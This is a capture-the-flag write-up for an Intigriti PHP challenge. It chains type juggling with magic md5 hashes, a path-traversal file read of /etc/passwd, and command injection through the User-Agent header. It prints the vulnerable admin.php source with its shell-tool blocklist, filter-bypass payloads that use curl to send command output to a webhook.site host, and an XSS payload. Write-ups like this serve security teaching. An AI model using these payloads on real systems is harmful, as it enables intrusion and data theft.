TiVendoUnMattone (I'll sell you a brick) is a simple PHP web application consisting of a login page, a dashboard page, and other 'hidden' pages.
To solve this challenge, there are a couple of vulnerabilities that must be exploited to achieve the final code execution.
The idea is that the exploitation of each of the vulnerabilities gives us a clue about what to do next until we get the flag.
Upon opening the initial "challenge.php" endpoint - we are presented with a simple login page.
At the bottom, the challenge creator provides a working credential pair - strange:monkey.
When they are used, the backend redirects to "dashboard.php" and sets 2 cookies:
HTTP/2 302 Found
date: Mon, 01 May 2023 09:13:12 GMT
content-type: text/html; charset=UTF-8
location: dashboard.php
x-powered-by: PHP/8.0.28
set-cookie: username=strange
set-cookie: account_type=dqwe13fdsfq2gys388
The dashboard page does not seem to contain any new additional functionality.
It's a simple HTML page that lists different "bricks" for sale, however, the selling functionality is absent, and upon clicking "View details" we are redirected to a youtube page.
So, let's go back to the "challenge.php" page and see what more we can learn
Looking at the source code of the page:
The backend returns a detailed stack-trace which discloses some interesting information - "/app/login.php on line 22" - the full path to the login.php.
Let's try triggering more errors/warnings and check what new we can learn about the application.
If we send a wrong pair of credentials (e.g. test:test), the backend returns an error page "index_error.php", which is almost identical to "challenge.php".
However, looking at the HTML soure code there is an additional comment there.
<!-- dev TODO : remember to use strict comparison -->
We didn't get lucky with a stack trace, but we got a hint from the challenge creator.
The HTML comment points to "PHP Type Juggling" vulnerability
Usually, it's not trivial to exploit, because cookie values, POST, and GET parameters are passed as strings or arrays into the application.
So, if they are compared to strings, there is no casting happening, for example:
"0" == "Password" is FALSE, because obviously "0" is a different string from "Password"
Let's try changing their types, one way of doing this is by changing the body of the POST "login.php" to JSON.
curl 'https://challenge-0423.intigriti.io/login.php' -X POST \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0' \
-H 'Content-Type: application/json' \
--data-raw $'{ "uname": "strange",\n "psw": 0\n}'
Unfortunately, the backend returns:
<br />
<b>Warning</b>: Undefined array key "uname" in <b>/app/login.php</b> on line <b>22</b><br />
<br />
<b>Warning</b>: Undefined array key "psw" in <b>/app/login.php</b> on line <b>22</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /app/login.php:22) in <b>/app/login.php</b> on line <b>35</b><br />
Sending the following payloads:
Results in:
<br />
<b>Warning</b>: Array to string conversion in <b>/app/login.php</b> on line <b>22</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /app/login.php:22) in <b>/app/login.php</b> on line <b>35</b><br />
Nothing interesting, as expected their values are treated as strings.
The other place where some comparision might be happening is in the "dashboard.php" and the cookie values, so let's play with them.
Sending:
curl 'https://challenge-0423.intigriti.io/dashboard.php' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0'' \
-H 'Cookie: account_type=dqwe13fdsfq2gys388; username[]=strange'
Does not reveal anything new, however, if we send "account_type" as an array the backend returns an error:
curl 'https://challenge-0423.intigriti.io/dashboard.php' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0'' \
-H 'Cookie: account_type[]=dqwe13fdsfq2gys388; username=strange'
<b>Fatal error</b>: Uncaught TypeError: md5(): Argument #1 ($string) must be of type string, array given in /app/dashboard.php:68
Stack trace:
#0 /app/dashboard.php(68): md5(Array)
#1 {main}
thrown in <b>/app/dashboard.php</b> on line <b>68</b><br />
Awesome, it seems that the value of the account_type cookie is being hashed with md5 and compared to something.
If the hash computed starts with "0e" only followed by numbers, PHP will treat the hash as a float.
For example:
md5('240610708') -> "0e462097431906509019562988736854"
md5('QNKCDZO') -> "0e830400451993494058024219903391"
, so
md5('240610708') == md5('QNKCDZO')
is TRUE
Let's try changing the account_type value to "240610708"
curl 'https://challenge-0423.intigriti.io/dashboard.php' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0'' \
-H 'Cookie: account_type=240610708; username=strange'
Success! The assumption is correct and we have additional HTML content in the response:
<h3 id="custom_image.php - try to catch the flag.txt ;)">A special golden wall just for Premium Users ;) </h3><img src="resources/happyrating.png">$ FREE4U
Yet another hint from the challenge creator, let's visit "custom_image.php"
Visiting "custom_image.php" yields an HTML <img> tag with base64 encoded image in it.
Let's inspect the metadata of the image.
└─$ exiftool index.jpeg
ExifTool Version Number : 12.57
File Name : index.jpeg
Directory : .
File Size : 221 kB
File Modification Date/Time : 2023:04:26 07:26:31-04:00
File Access Date/Time : 2023:04:26 07:26:32-04:00
File Inode Change Date/Time : 2023:04:26 07:26:31-04:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 75.
Image Width : 1023
Image Height : 657
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1023x657
Megapixels : 0.672
It seems that the image is created with "gd-jpeg v1.0" , which points to a known vulnerability.
In order to exploit it, we would need to upload an image which will be proccessed by the GD library, so let's try changing the request method to POST and appending an image file as form-data.
curl -F image=@test.png https://challenge-0423.intigriti.io/custom_image.php
There is no change in the response, trying PUT as well results in similar behavior - "custom_image.php" always returns the same <img> tag with no errors or warnings.
Another vulnerability which is often found in PHP applications is Local File Inclusion, so let's try some common GET query parameters:
ffuf -w common-query-params.txt -u https://challenge-0423.intigriti.io/custom_image.phpFUZZ -v -c -fs 294753
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : https://challenge-0423.intigriti.io/custom_image.phpFUZZ
:: Wordlist : FUZZ: /home/kali/Desktop/common-query-params.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 294753
________________________________________________
[Status: 200, Size: 19, Words: 2, Lines: 2, Duration: 74ms]
| URL | https://challenge-0423.intigriti.io/custom_image.php?file={payload}
* FUZZ: ?file={payload}
:: Progress: [25/25] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
Interesting, by adding the ?file={payload}
query parameter, the backend returns: "Permission denied!"
Let's see if we can bypass this using the following payload list - unfortunately no luck this time and everything returns "Permission denied!"
Another curious thing is that all images in "dashboard.php" page are located in "https://challenge-0423.intigriti.io/www/web/images/<IMG>.jpg", the "www/web/images/" part of the URI suspiciously looks like a path on the webserver, so let's try the following GET request:
https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/stockdips5.jpg
- success, this time we don't get "Permissions denied!", but an another image is loaded!
Maybe the backend is checking if the value of the query parameter "file" starts/contains some part of the path above?
The following list can be used to test this hypothesis:
/var/www/web/images/13
www/web/images/13
www/web/images/1
www/web/images
www/web/image
www/web/imag
www/web/ima
www/web/im
www/web/i
www/web/
www/web
www/we
www/w
www/
www
ww
w
└─$ ffuf -w paths -u https://challenge-0423.intigriti.io/custom_image.php?file=FUZZ -v -c -fs 294753,19
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : https://challenge-0423.intigriti.io/custom_image.php?file=FUZZ
:: Wordlist : FUZZ: /home/kali/Desktop/paths
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 294753,19
________________________________________________
[Status: 200, Size: 209, Words: 21, Lines: 4, Duration: 44ms]
| URL | https://challenge-0423.intigriti.io/custom_image.php?file=/var/www/web/images/13
* FUZZ: /var/www/web/images/13
[Status: 200, Size: 203, Words: 21, Lines: 4, Duration: 65ms]
| URL | https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/1
* FUZZ: www/web/images/1
[Status: 200, Size: 204, Words: 21, Lines: 4, Duration: 47ms]
| URL | https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/13
* FUZZ: www/web/images/13
[Status: 200, Size: 192, Words: 22, Lines: 4, Duration: 51ms]
| URL | https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images
* FUZZ: www/web/images
:: Progress: [18/18] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
Obviously, the backend functionality is checking if "www/web/images" is in the path, let's use this information and try to bypass the restrictions, using some common methods:
file_get_contents(www/web/images/etc/passwd): Failed to open stream: No such file or directory
Warning: file_get_contents(www/web/images/..etc/passwd): Failed to open stream: No such file or directory
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Let's try https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/..\/..\/..\/..\/..\/..\/app/flag.txt, since we already know that the webroot path is "/app"
Hey Mario, the flag is in another path! Try to check here:
/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php
Great, new page to explore - "admin.php"!
Since there is a local file inclusion vulnerability, let's dump the PHP source code of the page and see what's there.
<?php
if(isset($_COOKIE["username"])) {
$a = $_COOKIE["username"];
if($a !== 'admin'){
header('Location: /index_error.php?error=invalid username or password');
}
}
if(!isset($_COOKIE["username"])){
header('Location: /index_error.php?error=invalid username or password');
}
?>
<?php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
#filtering user agent
$blacklist = array( "tail", "nc", "pwd", "less", "ncat", "ls", "netcat", "cat", "curl", "whoami", "echo", "~", "+",
" ", ",", ";", "&", "|", "'", "%", "@", "<", ">", "\\", "^", "\"",
"=");
$user_agent = str_replace($blacklist, "", $user_agent);
shell_exec("echo \"" . $user_agent . "\" >> logUserAgent");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin panel</title>
<style>
body {
font-family: Arial, Helvetica, sans-serif;
background-image: url('/www/web/images/another_brick_in_the_wall.jpeg');
background-position: top 18% right 50%;
background-repeat: repeat;
}
.del {
color: blue;
}
nav>a {
padding:0.2rem;
text-decoration: none;
border: 4px solid grey;
border-radius: 8px;
background-color: grey;
}
nav>a:visited {
text-decoration: none;
color:blue;
}
table {
border: 2px solid black;
border-radius: 4px;
}
</style>
</head>
<body>
<div>
<nav>
<a href="/dashboard.php">Dashboard</a>
<a href="/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/log_page.php">Logs</a>
</nav>
</div>
<div style="padding-top:1rem;position: absolute;left: 2%;">
<table aria-label="Table of the Users">
<tbody>
<tr>
<th scope="colgroup">Users</th>
</tr>
<tr>
<td>Carlos</td>
<td class="del">delete</td>
</tr>
<tr>
<td>Wiener</td>
<td class="del">delete</td>
</tr>
</tbody>
</table>
</div>
<div style="position: absolute;right: 2%;">
<table aria-label="Table of the Agents">
<tbody>
<tr style="text-align: center;">
<th scope="colgroup">Agents</th>
</tr>
<tr>
<td>Pippo</td>
<td class="del">delete</td>
</tr>
<tr>
<td>Pluto</td>
<td class="del">delete</td>
</tr>
</tbody>
</table>
</div>
</body>
</html>
Couple of observations, about the backend code:
<?php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
#filtering user agent
$blacklist = array( "tail", "nc", "pwd", "less", "ncat", "ls", "netcat", "cat", "curl", "whoami", "echo", "~", "+",
" ", ",", ";", "&", "|", "'", "%", "@", "<", ">", "\\", "^", "\"",
"=");
$user_agent = str_replace($blacklist, "", $user_agent);
shell_exec("echo \"" . $user_agent . "\" >> logUserAgent");
?>
The code above takes the User-Agent: header from the HTTP request, *sanitizes it and executes
echo "Agent" >> logUserAgent
Let's host the application locally and play with it.
<?php
function logg($message)
{
$message = date("H:i:s") . " - $message - ".PHP_EOL;
print($message);
flush();
ob_flush();
}
$user_agent = $_SERVER['HTTP_USER_AGENT'];
#filtering user agent
$blacklist = array( "tail", "nc", "pwd", "less", "ncat", "ls", "netcat", "cat", "curl", "whoami", "echo", "~", "+",
" ", ",", ";", "&", "|", "'", "%", "@", "<", ">", "\\", "^", "\"",
"=");
$user_agent = str_replace($blacklist, "", $user_agent);
logg("echo \"" . $user_agent . "\" >> logUserAgent");
shell_exec("echo \"" . $user_agent . "\" >> logUserAgent");
# web root directory
#
?>
</-- rest of the HTML content -->
Note: logg() is added to print a given string in the response, makes it easier to debug
php -S localhost:8081
This setup makes the proccess of building the payload much easier.
The first step is to escape the string, for this we can use command substitution, since "$", "(" , ")" are not blacklisted characters
For space, ${IFS} can be used as a substitute
Finally, since this is a blind command execution we must find a way to see the output of the commands.
One way would be storing it in a file and then utilizing the LFI vulnerability to read the file, however ">", "|" are both blacklisted which makes this method harder.
Other option is by exfiltrating the information with a HTTP request.
cURL is a blacklisted command, but this can be bypassed again with "$()"
Let's test this out on the real server this time, with the following payload:
User-Agent: lol "$(cu$()rl${IFS}https://webhook.site/856d0d4b-a961-4086-a28a-29a73f1b987b/$(who$()ami))"`
Let's leak the location and the name of the flag file with the following payload:
User-Agent: lol "$(cu$()rl${IFS}webhook.site/856d0d4b-a961-4086-a28a-29a73f1b987b/$(grep${IFS}-r${IFS}"INTIGRITI"${IFS}.)\")"
Now let's read the content using the LFI:
curl "https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/..\/..\/..\/..\/..\/..\/app/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/d5418803-972b-45a9-8ac0-07842dc2b607.txt" -s
curl -i -s -k -X $'GET' \
-H $'Host: challenge-0423.intigriti.io' -H $'User-Agent: lol \"$(cu$()rl${IFS}webhook.site/bb0e0edc-3b1a-4260-9fca-341b934981bc/$(grep${IFS}-r${IFS}\"INTIGRITI\"${IFS}.)\\\")\"' -H $'Content-Length: 2' \
-b $'username=admin' \
$'https://challenge-0423.intigriti.io/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/admin.php'
curl -i -s -k -X $'GET' \
-H $'Host: challenge-0423.intigriti.io' \
$'https://challenge-0423.intigriti.io/custom_image.php?file=www/web/images/..\\/..\\/..\\/..\\/..\\/..\\/app/e7f717ed-d429-4d00-861d-4137d1ef29az/9709e993-be43-4157-879b-78b647f15ff7/d5418803-972b-45a9-8ac0-07842dc2b607.txt'
SU5USUdSSVRJe24wX1hTU183aDE1X20wbjdoX3AzM3B6X3hEfQ== :
INTIGRITI{n0_XSS_7h15_m0n7h_p33pz_xD}
The latest challenge by Intigriti is an interesting CTF exercise, depicting multiple different vulnerabilities:
Showcasing different bad coding practices and common bypasses which can be levereged to exploit the vulnerabilities. Although it is not very realistic, the security issues are very common and often found in web applications in one way or another.
Note: the web application, additionally also contains a XSS vulnerability
https://challenge-0423.intigriti.io/index_error.php?error=<img src=x onerror=alert("XSS")>